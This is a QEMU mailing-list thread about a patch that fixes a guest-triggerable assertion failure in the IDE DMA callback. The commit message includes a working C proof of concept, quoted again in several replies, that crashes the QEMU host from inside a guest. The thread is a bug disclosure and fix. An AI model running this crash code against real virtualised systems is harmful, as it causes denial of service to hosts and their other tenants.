diff mbox series

[QEMU-SECURITY] ide: fix assertion in ide_dma_cb() to prevent qemu DoS from quest

Message ID 1562335669-10127-1-git-send-email-alex.popov@linux.com
State New
Headers show
Series [QEMU-SECURITY] ide: fix assertion in ide_dma_cb() to prevent qemu DoS from quest | expand

Commit Message

Alexander Popov July 5, 2019, 2:07 p.m. UTC 
This assertion was introduced in the commit a718978ed58a in July 2015.
It implies that the size of successful DMA transfers handled in
ide_dma_cb() should be multiple of 512 (the size of a sector).

But guest systems can initiate DMA transfers that don't fit this
requirement. Let's improve the assertion to prevent qemu DoS from quests.

PoC for Linux that uses SCSI_IOCTL_SEND_COMMAND to perform such an ATA
command and crash qemu:

#include <stdio.h>
#include <sys/ioctl.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <scsi/scsi.h>
#include <scsi/scsi_ioctl.h>

#define CMD_SIZE 2048

struct scsi_ioctl_cmd_6 {
	unsigned int inlen;
	unsigned int outlen;
	unsigned char cmd[6];
	unsigned char data[];
};

int main(void)
{
	intptr_t fd = 0;
	struct scsi_ioctl_cmd_6 *cmd = NULL;

	cmd = malloc(CMD_SIZE);
	if (!cmd) {
		perror("[-] malloc");
		return 1;
	}

	memset(cmd, 0, CMD_SIZE);
	cmd->inlen = 1337;
	cmd->cmd[0] = READ_6;

	fd = open("/dev/sg0", O_RDONLY);
	if (fd == -1) {
		perror("[-] opening sg");
		return 1;
	}

	printf("[+] sg0 is opened\n");

	printf("[.] qemu should break here:\n");
	fflush(stdout);
	ioctl(fd, SCSI_IOCTL_SEND_COMMAND, cmd);
	printf("[-] qemu didn't break\n");

	free(cmd);

	return 1;
}

Signed-off-by: Alexander Popov <alex.popov@linux.com>
---
 hw/ide/core.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Comments

Alexander Popov July 15, 2019, 11:24 a.m. UTC | #1 
On 05.07.2019 17:07, Alexander Popov wrote:
> This assertion was introduced in the commit a718978ed58a in July 2015.
> It implies that the size of successful DMA transfers handled in
> ide_dma_cb() should be multiple of 512 (the size of a sector).
> 
> But guest systems can initiate DMA transfers that don't fit this
> requirement. Let's improve the assertion to prevent qemu DoS from quests.

Hello!

Just a friendly ping.

Could you have a look at this patch?

Best regards,
Alexander
Kevin Wolf July 16, 2019, 11:25 a.m. UTC | #2 
Am 15.07.2019 um 13:24 hat Alexander Popov geschrieben:
> On 05.07.2019 17:07, Alexander Popov wrote:
> > This assertion was introduced in the commit a718978ed58a in July 2015.
> > It implies that the size of successful DMA transfers handled in
> > ide_dma_cb() should be multiple of 512 (the size of a sector).
> > 
> > But guest systems can initiate DMA transfers that don't fit this
> > requirement. Let's improve the assertion to prevent qemu DoS from quests.
> 
> Hello!
> 
> Just a friendly ping.
> 
> Could you have a look at this patch?

John, I think this is for you.

I haven't reviewed this yet, but if we put an assertion there that the
request is aligned, we probably rely on this fact somewhere in the code.
So I suspect that just changing the assertion without changing other
code, too, might not be enough.

Kevin
John Snow July 16, 2019, 2:57 p.m. UTC | #3 
On 7/16/19 7:25 AM, Kevin Wolf wrote:
> Am 15.07.2019 um 13:24 hat Alexander Popov geschrieben:
>> On 05.07.2019 17:07, Alexander Popov wrote:
>>> This assertion was introduced in the commit a718978ed58a in July 2015.
>>> It implies that the size of successful DMA transfers handled in
>>> ide_dma_cb() should be multiple of 512 (the size of a sector).
>>>
>>> But guest systems can initiate DMA transfers that don't fit this
>>> requirement. Let's improve the assertion to prevent qemu DoS from quests.
>>
>> Hello!
>>
>> Just a friendly ping.
>>
>> Could you have a look at this patch?
> 
> John, I think this is for you.
> 
> I haven't reviewed this yet, but if we put an assertion there that the
> request is aligned, we probably rely on this fact somewhere in the code.
> So I suspect that just changing the assertion without changing other
> code, too, might not be enough.
> 
> Kevin
> 

Right; I'm aware of the patch. It's on the list to investigate today.

I have the same concern that the assertion intuits a bug elsewhere, so I
wanted to give this one a thorough investigation before inclusion for rc1.

Sorry for the delay, it IS on my list, but I also feel that a privileged
DOS by a guest of a legacy device is actually low priority
security-wise, unless we can demonstrate that there are side effects
that can be exploited.

--js
Prasad Pandit July 16, 2019, 4:18 p.m. UTC | #4 
+-- On Tue, 16 Jul 2019, John Snow wrote --+
| I also feel that a privileged DOS by a guest of a legacy device is actually 
| low priority security-wise, unless we can demonstrate that there are side 
| effects that can be exploited.

Right, we are not treating this as a CVE issue as is. Privileged guest user 
has many ways to cause similar DoS effect, without triggering this assert(3).

Thank you.
--
Prasad J Pandit / Red Hat Product Security Team
47AF CE69 3A90 54AA 9045 1053 DD13 3D32 FE5B 041F
John Snow July 26, 2019, 12:25 a.m. UTC | #5 
On 7/5/19 10:07 AM, Alexander Popov wrote:
> This assertion was introduced in the commit a718978ed58a in July 2015.
> It implies that the size of successful DMA transfers handled in
> ide_dma_cb() should be multiple of 512 (the size of a sector).
> 
> But guest systems can initiate DMA transfers that don't fit this
> requirement. Let's improve the assertion to prevent qemu DoS from quests.
> 
> PoC for Linux that uses SCSI_IOCTL_SEND_COMMAND to perform such an ATA
> command and crash qemu:
> 
> #include <stdio.h>
> #include <sys/ioctl.h>
> #include <stdint.h>
> #include <sys/types.h>
> #include <sys/stat.h>
> #include <fcntl.h>
> #include <string.h>
> #include <stdlib.h>
> #include <scsi/scsi.h>
> #include <scsi/scsi_ioctl.h>
> 
> #define CMD_SIZE 2048
> 
> struct scsi_ioctl_cmd_6 {
> 	unsigned int inlen;
> 	unsigned int outlen;
> 	unsigned char cmd[6];
> 	unsigned char data[];
> };
> 
> int main(void)
> {
> 	intptr_t fd = 0;
> 	struct scsi_ioctl_cmd_6 *cmd = NULL;
> 
> 	cmd = malloc(CMD_SIZE);
> 	if (!cmd) {
> 		perror("[-] malloc");
> 		return 1;
> 	}
> 
> 	memset(cmd, 0, CMD_SIZE);
> 	cmd->inlen = 1337;
> 	cmd->cmd[0] = READ_6;
> 
> 	fd = open("/dev/sg0", O_RDONLY);
> 	if (fd == -1) {
> 		perror("[-] opening sg");
> 		return 1;
> 	}
> 
> 	printf("[+] sg0 is opened\n");
> 
> 	printf("[.] qemu should break here:\n");
> 	fflush(stdout);
> 	ioctl(fd, SCSI_IOCTL_SEND_COMMAND, cmd);
> 	printf("[-] qemu didn't break\n");
> 
> 	free(cmd);
> 
> 	return 1;
> }
> 
> Signed-off-by: Alexander Popov <alex.popov@linux.com>
> ---
>  hw/ide/core.c | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/hw/ide/core.c b/hw/ide/core.c
> index 6afadf8..304fe69 100644
> --- a/hw/ide/core.c
> +++ b/hw/ide/core.c
> @@ -868,7 +868,7 @@ static void ide_dma_cb(void *opaque, int ret)
>  
>      sector_num = ide_get_sector(s);
>      if (n > 0) {
> -        assert(n * 512 == s->sg.size);
> +        assert(n == s->sg.size / 512);
>          dma_buf_commit(s, s->sg.size);
>          sector_num += n;
>          ide_set_sector(s, sector_num);
> 

Oh, this is fun.

So you're actually requesting 131072 bytes (256 sectors) but you're
giving it far too short of a PRDT.

But ... the prepare_buf callback got anything at all, so it was happy to
proceed, but the callback chokes over the idea that the SGlist wasn't
formatted correctly -- it can't deal with partial tails.

I think it might be the case that the sglist needs to be allowed to have
an unaligned tail, and then the second trip to the dma_cb when there
isn't any more regions in the PRDT to add to the SGList to transfer at
least a single sector -- but the IDE state machine still has sectors to
transfer -- we need to trigger the short PRD clause.

Papering over it by truncating the tail I think isn't sufficient; there
are other problems this exposes.

As an emergency patch, it might be better to just do this whenever we
see partial tails:

prepared = ...prepare_buf(s->bus->dma, s->io_buffer_size);
if (prepared % 512) {
    ide_dma_error(s);
    return;
}

I think that prepare_buf does not give unaligned results if you provided
*too many* bytes, so the unaligned return only happens when you starve it.

I can worry about a proper fix for 4.2+.

--js
Alexander Popov July 26, 2019, 9:09 p.m. UTC | #6 
26 июля 2019 г. 2:25:03 GMT+02:00, John Snow <jsnow@redhat.com> пишет:
>Oh, this is fun.
... 
>I can worry about a proper fix for 4.2+.

Hello John, 

Thanks for your letter. 

I double-checked the git history and mailing list, I'm still sure
that my fix for this assertion is correct.

You know this code very well, of course it would be great if you
prepare the further fixes. 

Feel free to add me to CC, I can review the patches and test
them with fuzzing. 

Best regards, 
Alexander
Alexander Popov Nov. 6, 2019, 10:17 a.m. UTC | #7 
On 27.07.2019 00:09, Alexander Popov wrote:
> On 26.07.2019 2:25:03 GMT+02:00, John Snow <jsnow@redhat.com> wrote:
>> Oh, this is fun.
> ...
>> I can worry about a proper fix for 4.2+.
>
> Hello John,
>
> Thanks for your letter.
>
> I double-checked the git history and mailing list, I'm still sure
> that my fix for this assertion is correct.

Hello!

I'm pointing politely to this issue again.

It crashes qemu during syzkaller fuzzing.

It's really annoying to manually apply the fix against it to qemu.

I'm quoting my patch from July that _correctly_ fixes the wrong assertion
introduced in the commit a718978ed58a.

Why don't you apply my commit and then do the refactoring later when you want?

Best regards,
Alexander


On 05.07.2019 17:07, Alexander Popov wrote:
> This assertion was introduced in the commit a718978ed58a in July 2015.
> It implies that the size of successful DMA transfers handled in
> ide_dma_cb() should be multiple of 512 (the size of a sector).
> 
> But guest systems can initiate DMA transfers that don't fit this
> requirement. Let's improve the assertion to prevent qemu DoS from quests.
> 
> PoC for Linux that uses SCSI_IOCTL_SEND_COMMAND to perform such an ATA
> command and crash qemu:
> 
> #include <stdio.h>
> #include <sys/ioctl.h>
> #include <stdint.h>
> #include <sys/types.h>
> #include <sys/stat.h>
> #include <fcntl.h>
> #include <string.h>
> #include <stdlib.h>
> #include <scsi/scsi.h>
> #include <scsi/scsi_ioctl.h>
> 
> #define CMD_SIZE 2048
> 
> struct scsi_ioctl_cmd_6 {
> 	unsigned int inlen;
> 	unsigned int outlen;
> 	unsigned char cmd[6];
> 	unsigned char data[];
> };
> 
> int main(void)
> {
> 	intptr_t fd = 0;
> 	struct scsi_ioctl_cmd_6 *cmd = NULL;
> 
> 	cmd = malloc(CMD_SIZE);
> 	if (!cmd) {
> 		perror("[-] malloc");
> 		return 1;
> 	}
> 
> 	memset(cmd, 0, CMD_SIZE);
> 	cmd->inlen = 1337;
> 	cmd->cmd[0] = READ_6;
> 
> 	fd = open("/dev/sg0", O_RDONLY);
> 	if (fd == -1) {
> 		perror("[-] opening sg");
> 		return 1;
> 	}
> 
> 	printf("[+] sg0 is opened\n");
> 
> 	printf("[.] qemu should break here:\n");
> 	fflush(stdout);
> 	ioctl(fd, SCSI_IOCTL_SEND_COMMAND, cmd);
> 	printf("[-] qemu didn't break\n");
> 
> 	free(cmd);
> 
> 	return 1;
> }
> 
> Signed-off-by: Alexander Popov <alex.popov@linux.com>
> ---
>  hw/ide/core.c | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/hw/ide/core.c b/hw/ide/core.c
> index 6afadf8..304fe69 100644
> --- a/hw/ide/core.c
> +++ b/hw/ide/core.c
> @@ -868,7 +868,7 @@ static void ide_dma_cb(void *opaque, int ret)
>  
>      sector_num = ide_get_sector(s);
>      if (n > 0) {
> -        assert(n * 512 == s->sg.size);
> +        assert(n == s->sg.size / 512);
>          dma_buf_commit(s, s->sg.size);
>          sector_num += n;
>          ide_set_sector(s, sector_num);
Michael S. Tsirkin Nov. 6, 2019, 12:05 p.m. UTC | #8 
On Thu, Jul 25, 2019 at 08:25:03PM -0400, John Snow wrote:
> 
> 
> On 7/5/19 10:07 AM, Alexander Popov wrote:
> > This assertion was introduced in the commit a718978ed58a in July 2015.
> > It implies that the size of successful DMA transfers handled in
> > ide_dma_cb() should be multiple of 512 (the size of a sector).
> > 
> > But guest systems can initiate DMA transfers that don't fit this
> > requirement. Let's improve the assertion to prevent qemu DoS from quests.
> > 
> > PoC for Linux that uses SCSI_IOCTL_SEND_COMMAND to perform such an ATA
> > command and crash qemu:
> > 
> > #include <stdio.h>
> > #include <sys/ioctl.h>
> > #include <stdint.h>
> > #include <sys/types.h>
> > #include <sys/stat.h>
> > #include <fcntl.h>
> > #include <string.h>
> > #include <stdlib.h>
> > #include <scsi/scsi.h>
> > #include <scsi/scsi_ioctl.h>
> > 
> > #define CMD_SIZE 2048
> > 
> > struct scsi_ioctl_cmd_6 {
> > 	unsigned int inlen;
> > 	unsigned int outlen;
> > 	unsigned char cmd[6];
> > 	unsigned char data[];
> > };
> > 
> > int main(void)
> > {
> > 	intptr_t fd = 0;
> > 	struct scsi_ioctl_cmd_6 *cmd = NULL;
> > 
> > 	cmd = malloc(CMD_SIZE);
> > 	if (!cmd) {
> > 		perror("[-] malloc");
> > 		return 1;
> > 	}
> > 
> > 	memset(cmd, 0, CMD_SIZE);
> > 	cmd->inlen = 1337;
> > 	cmd->cmd[0] = READ_6;
> > 
> > 	fd = open("/dev/sg0", O_RDONLY);
> > 	if (fd == -1) {
> > 		perror("[-] opening sg");
> > 		return 1;
> > 	}
> > 
> > 	printf("[+] sg0 is opened\n");
> > 
> > 	printf("[.] qemu should break here:\n");
> > 	fflush(stdout);
> > 	ioctl(fd, SCSI_IOCTL_SEND_COMMAND, cmd);
> > 	printf("[-] qemu didn't break\n");
> > 
> > 	free(cmd);
> > 
> > 	return 1;
> > }
> > 
> > Signed-off-by: Alexander Popov <alex.popov@linux.com>
> > ---
> >  hw/ide/core.c | 2 +-
> >  1 file changed, 1 insertion(+), 1 deletion(-)
> > 
> > diff --git a/hw/ide/core.c b/hw/ide/core.c
> > index 6afadf8..304fe69 100644
> > --- a/hw/ide/core.c
> > +++ b/hw/ide/core.c
> > @@ -868,7 +868,7 @@ static void ide_dma_cb(void *opaque, int ret)
> >  
> >      sector_num = ide_get_sector(s);
> >      if (n > 0) {
> > -        assert(n * 512 == s->sg.size);
> > +        assert(n == s->sg.size / 512);
> >          dma_buf_commit(s, s->sg.size);
> >          sector_num += n;
> >          ide_set_sector(s, sector_num);
> > 
> 
> Oh, this is fun.
> 
> So you're actually requesting 131072 bytes (256 sectors) but you're
> giving it far too short of a PRDT.
> 
> But ... the prepare_buf callback got anything at all, so it was happy to
> proceed, but the callback chokes over the idea that the SGlist wasn't
> formatted correctly -- it can't deal with partial tails.
> 
> I think it might be the case that the sglist needs to be allowed to have
> an unaligned tail, and then the second trip to the dma_cb when there
> isn't any more regions in the PRDT to add to the SGList to transfer at
> least a single sector -- but the IDE state machine still has sectors to
> transfer -- we need to trigger the short PRD clause.
> 
> Papering over it by truncating the tail I think isn't sufficient; there
> are other problems this exposes.
> 
> As an emergency patch, it might be better to just do this whenever we
> see partial tails:
> 
> prepared = ...prepare_buf(s->bus->dma, s->io_buffer_size);
> if (prepared % 512) {
>     ide_dma_error(s);
>     return;
> }

Do you want to cook up a patch like this then?


> I think that prepare_buf does not give unaligned results if you provided
> *too many* bytes, so the unaligned return only happens when you starve it.
> 
> I can worry about a proper fix for 4.2+.
> 
> --js
Michael S. Tsirkin Nov. 6, 2019, 12:08 p.m. UTC | #9 
On Wed, Nov 06, 2019 at 01:17:51PM +0300, Alexander Popov wrote:
> On 27.07.2019 00:09, Alexander Popov wrote:
> > On 26.07.2019 2:25:03 GMT+02:00, John Snow <jsnow@redhat.com> wrote:
> >> Oh, this is fun.
> > ...
> >> I can worry about a proper fix for 4.2+.
> >
> > Hello John,
> >
> > Thanks for your letter.
> >
> > I double-checked the git history and mailing list, I'm still sure
> > that my fix for this assertion is correct.
> 
> Hello!
> 
> I'm pointing politely to this issue again.
> 
> It crashes qemu during syzkaller fuzzing.
> 
> It's really annoying to manually apply the fix against it to qemu.

I understand. Maybe the fuzzer can be taught to skip the
specific issue for now?

> I'm quoting my patch from July that _correctly_ fixes the wrong assertion
> introduced in the commit a718978ed58a.
> 
> Why don't you apply my commit and then do the refactoring later when you want?
> 
> Best regards,
> Alexander
> 
> On 05.07.2019 17:07, Alexander Popov wrote:
> > This assertion was introduced in the commit a718978ed58a in July 2015.
> > It implies that the size of successful DMA transfers handled in
> > ide_dma_cb() should be multiple of 512 (the size of a sector).
> > 
> > But guest systems can initiate DMA transfers that don't fit this
> > requirement. Let's improve the assertion to prevent qemu DoS from quests.
> > 
> > PoC for Linux that uses SCSI_IOCTL_SEND_COMMAND to perform such an ATA
> > command and crash qemu:
> > 
> > #include <stdio.h>
> > #include <sys/ioctl.h>
> > #include <stdint.h>
> > #include <sys/types.h>
> > #include <sys/stat.h>
> > #include <fcntl.h>
> > #include <string.h>
> > #include <stdlib.h>
> > #include <scsi/scsi.h>
> > #include <scsi/scsi_ioctl.h>
> > 
> > #define CMD_SIZE 2048
> > 
> > struct scsi_ioctl_cmd_6 {
> > 	unsigned int inlen;
> > 	unsigned int outlen;
> > 	unsigned char cmd[6];
> > 	unsigned char data[];
> > };
> > 
> > int main(void)
> > {
> > 	intptr_t fd = 0;
> > 	struct scsi_ioctl_cmd_6 *cmd = NULL;
> > 
> > 	cmd = malloc(CMD_SIZE);
> > 	if (!cmd) {
> > 		perror("[-] malloc");
> > 		return 1;
> > 	}
> > 
> > 	memset(cmd, 0, CMD_SIZE);
> > 	cmd->inlen = 1337;
> > 	cmd->cmd[0] = READ_6;
> > 
> > 	fd = open("/dev/sg0", O_RDONLY);
> > 	if (fd == -1) {
> > 		perror("[-] opening sg");
> > 		return 1;
> > 	}
> > 
> > 	printf("[+] sg0 is opened\n");
> > 
> > 	printf("[.] qemu should break here:\n");
> > 	fflush(stdout);
> > 	ioctl(fd, SCSI_IOCTL_SEND_COMMAND, cmd);
> > 	printf("[-] qemu didn't break\n");
> > 
> > 	free(cmd);
> > 
> > 	return 1;
> > }
> > 
> > Signed-off-by: Alexander Popov <alex.popov@linux.com>
> > ---
> >  hw/ide/core.c | 2 +-
> >  1 file changed, 1 insertion(+), 1 deletion(-)
> > 
> > diff --git a/hw/ide/core.c b/hw/ide/core.c
> > index 6afadf8..304fe69 100644
> > --- a/hw/ide/core.c
> > +++ b/hw/ide/core.c
> > @@ -868,7 +868,7 @@ static void ide_dma_cb(void *opaque, int ret)
> >  
> >      sector_num = ide_get_sector(s);
> >      if (n > 0) {
> > -        assert(n * 512 == s->sg.size);
> > +        assert(n == s->sg.size / 512);
> >          dma_buf_commit(s, s->sg.size);
> >          sector_num += n;
> >          ide_set_sector(s, sector_num);
Alexander Popov Nov. 6, 2019, 10:01 p.m. UTC | #10 
On 06.11.2019 15:08, Michael S. Tsirkin wrote:
> On Wed, Nov 06, 2019 at 01:17:51PM +0300, Alexander Popov wrote:
>> On 27.07.2019 00:09, Alexander Popov wrote:
>>> On 26.07.2019 2:25:03 GMT+02:00, John Snow <jsnow@redhat.com> wrote:
>>>> Oh, this is fun.
>>> ...
>>>> I can worry about a proper fix for 4.2+.
>>>
>>> Hello John,
>>>
>>> Thanks for your letter.
>>>
>>> I double-checked the git history and mailing list, I'm still sure
>>> that my fix for this assertion is correct.
>>
>> Hello!
>>
>> I'm pointing politely to this issue again.
>>
>> It crashes qemu during syzkaller fuzzing.
>>
>> It's really annoying to manually apply the fix against it to qemu.
> 
> I understand. Maybe the fuzzer can be taught to skip the
> specific issue for now?

Michael, thanks for your reply.

Yes, of course. You just forbid the fuzzer to use /dev/sg in the guest.
But I would rather fix the issue.

--
Best regards,
Alexander
Alexander Popov Nov. 6, 2019, 10:05 p.m. UTC | #11 
On 06.11.2019 15:05, Michael S. Tsirkin wrote:
> On Thu, Jul 25, 2019 at 08:25:03PM -0400, John Snow wrote:
>>
>>
>> On 7/5/19 10:07 AM, Alexander Popov wrote:
>>> This assertion was introduced in the commit a718978ed58a in July 2015.
>>> It implies that the size of successful DMA transfers handled in
>>> ide_dma_cb() should be multiple of 512 (the size of a sector).
>>>
>>> But guest systems can initiate DMA transfers that don't fit this
>>> requirement. Let's improve the assertion to prevent qemu DoS from quests.
>>>
>>> PoC for Linux that uses SCSI_IOCTL_SEND_COMMAND to perform such an ATA
>>> command and crash qemu:
>>>
>>> #include <stdio.h>
>>> #include <sys/ioctl.h>
>>> #include <stdint.h>
>>> #include <sys/types.h>
>>> #include <sys/stat.h>
>>> #include <fcntl.h>
>>> #include <string.h>
>>> #include <stdlib.h>
>>> #include <scsi/scsi.h>
>>> #include <scsi/scsi_ioctl.h>
>>>
>>> #define CMD_SIZE 2048
>>>
>>> struct scsi_ioctl_cmd_6 {
>>> 	unsigned int inlen;
>>> 	unsigned int outlen;
>>> 	unsigned char cmd[6];
>>> 	unsigned char data[];
>>> };
>>>
>>> int main(void)
>>> {
>>> 	intptr_t fd = 0;
>>> 	struct scsi_ioctl_cmd_6 *cmd = NULL;
>>>
>>> 	cmd = malloc(CMD_SIZE);
>>> 	if (!cmd) {
>>> 		perror("[-] malloc");
>>> 		return 1;
>>> 	}
>>>
>>> 	memset(cmd, 0, CMD_SIZE);
>>> 	cmd->inlen = 1337;
>>> 	cmd->cmd[0] = READ_6;
>>>
>>> 	fd = open("/dev/sg0", O_RDONLY);
>>> 	if (fd == -1) {
>>> 		perror("[-] opening sg");
>>> 		return 1;
>>> 	}
>>>
>>> 	printf("[+] sg0 is opened\n");
>>>
>>> 	printf("[.] qemu should break here:\n");
>>> 	fflush(stdout);
>>> 	ioctl(fd, SCSI_IOCTL_SEND_COMMAND, cmd);
>>> 	printf("[-] qemu didn't break\n");
>>>
>>> 	free(cmd);
>>>
>>> 	return 1;
>>> }
>>>
>>> Signed-off-by: Alexander Popov <alex.popov@linux.com>
>>> ---
>>>  hw/ide/core.c | 2 +-
>>>  1 file changed, 1 insertion(+), 1 deletion(-)
>>>
>>> diff --git a/hw/ide/core.c b/hw/ide/core.c
>>> index 6afadf8..304fe69 100644
>>> --- a/hw/ide/core.c
>>> +++ b/hw/ide/core.c
>>> @@ -868,7 +868,7 @@ static void ide_dma_cb(void *opaque, int ret)
>>>  
>>>      sector_num = ide_get_sector(s);
>>>      if (n > 0) {
>>> -        assert(n * 512 == s->sg.size);
>>> +        assert(n == s->sg.size / 512);
>>>          dma_buf_commit(s, s->sg.size);
>>>          sector_num += n;
>>>          ide_set_sector(s, sector_num);
>>>
>>
>> Oh, this is fun.
>>
>> So you're actually requesting 131072 bytes (256 sectors) but you're
>> giving it far too short of a PRDT.
>>
>> But ... the prepare_buf callback got anything at all, so it was happy to
>> proceed, but the callback chokes over the idea that the SGlist wasn't
>> formatted correctly -- it can't deal with partial tails.
>>
>> I think it might be the case that the sglist needs to be allowed to have
>> an unaligned tail, and then the second trip to the dma_cb when there
>> isn't any more regions in the PRDT to add to the SGList to transfer at
>> least a single sector -- but the IDE state machine still has sectors to
>> transfer -- we need to trigger the short PRD clause.
>>
>> Papering over it by truncating the tail I think isn't sufficient; there
>> are other problems this exposes.
>>
>> As an emergency patch, it might be better to just do this whenever we
>> see partial tails:
>>
>> prepared = ...prepare_buf(s->bus->dma, s->io_buffer_size);
>> if (prepared % 512) {
>>     ide_dma_error(s);
>>     return;
>> }
> 
> Do you want to cook up a patch like this then?

Yes, I will take this task and return with a patch.

Thanks!

Best regards,
Alexander


>> I think that prepare_buf does not give unaligned results if you provided
>> *too many* bytes, so the unaligned return only happens when you starve it.
>>
>> I can worry about a proper fix for 4.2+.
>>
>> --js
Alexander Popov Nov. 14, 2019, 5:31 p.m. UTC | #12 
On 07.11.2019 01:05, Alexander Popov wrote:
> On 06.11.2019 15:05, Michael S. Tsirkin wrote:
>> Do you want to cook up a patch like this then?
> 
> Yes, I will take this task and return with a patch.
> 
> Thanks!

I've just sent the v2 of the patch.
Looking forward to your feedback.

Best regards,
Alexander
diff mbox series

Patch

diff --git a/hw/ide/core.c b/hw/ide/core.c
index 6afadf8..304fe69 100644
--- a/hw/ide/core.c
+++ b/hw/ide/core.c
@@ -868,7 +868,7 @@  static void ide_dma_cb(void *opaque, int ret)
 
     sector_num = ide_get_sector(s);
     if (n > 0) {
-        assert(n * 512 == s->sg.size);
+        assert(n == s->sg.size / 512);
         dma_buf_commit(s, s->sg.size);
         sector_num += n;
         ide_set_sector(s, sector_num);